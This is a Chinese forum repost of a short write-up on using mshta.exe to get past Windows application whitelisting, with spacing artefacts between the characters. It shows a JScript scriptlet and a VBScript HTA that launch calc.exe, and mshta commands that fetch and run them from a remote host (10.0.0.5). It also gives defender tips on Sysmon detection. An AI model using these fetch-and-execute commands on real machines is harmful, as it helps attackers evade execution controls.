搜索

[28025] 2020-01-05_MSHTA代码执行-绕过应用程序白名单

文档创建者：s7ckTeam
浏览次数：239
最后更新：2025-01-19
2020-01-05_MSHTA代码执行-绕过应用程序白名单 M S H T A 代 码 执 行 - 绕 过 应 用 程 序 白 名 单 O t s 安 全   2 0 2 0 - 0 1 - 0 5 执 行 执 行 编 写 脚 本 文 件 ， 该 文 件 在 被 调 用 时 将 启 动 c a l c . e x e ： h t t p : / / 1 0 . 0 . 0 . 5 / m . s c t < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n   d e s c r i p t i o n = " D e s c "   p r o g i d = " P r o g i d "   v e r s i o n = " 0 "   c l a s s i d = " { A A A A 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } " < p u b l i c >         < m e t h o d   n a m e = " E x e c " > < / m e t h o d > < / p u b l i c > < s c r i p t   l a n g u a g e = " J S c r i p t " > < ! [ C D A T A [   f u n c t i o n   E x e c ( )   {     v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c . e x e " ) ;   } ] ] > < / s c r i p t > < / s c r i p t l e t > 调 用 远 程 托 管 的 s c r i p t l e t 文 件 a t t a c k e r @ v i c t i m #   f r o m   p o w e r s h e l l / c m d   / c   m s h t a . e x e   j a v a s c r i p t : a = ( G e t O b j e c t ( " s c r i p t : h t t p : / / 1 0 . 0 . 0 . 5 / m . s c t " ) ) . E x e c ( ) ; c l o s e ( ) ; 观 察 结 果 观 察 结 果 如 预 期 的 那 样 ， c a l c . e x e 由 m s h t a . e x e 生 成 。 值 得 注 意 的 是 ， 调 用 c a l c . e x e 后 ， m h s t a 和 c m d 几 乎 立 即 退 出 ： 作 为 防 御 者 ， 请 查 看 s y s m o n 日 志 中 有 关 建 立 网 络 连 接 的 m s h t a 的 信 息 ：
另 外 ， 可 疑 命 令 行 ： 可 以 像 这 样 调 用 h t a 文 件 ： m s h t a . e x e   h t t p : / / 1 0 . 0 . 0 . 5 / m . h t a 或 通 过 导 航 到 文 件 本 身 ， 启 动 它 并 单 击 运 行 ：
h t t p : / / 1 0 . 0 . 0 . 5 / m . h t a < h t m l > < h e a d > < s c r i p t   l a n g u a g e = " V B S c r i p t " >           S u b   R u n P r o g r a m                 S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " )                 o b j S h e l l . R u n   " c a l c . e x e "         E n d   S u b R u n P r o g r a m ( ) < / s c r i p t > < / h e a d >   < b o d y >         N o t h i n g   t o   s e e   h e r e . . < / b o d y > < / h t m l > 关 注 O t s 安 全   守 护 网 络 安 全   揭 秘 黑 灰 产
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理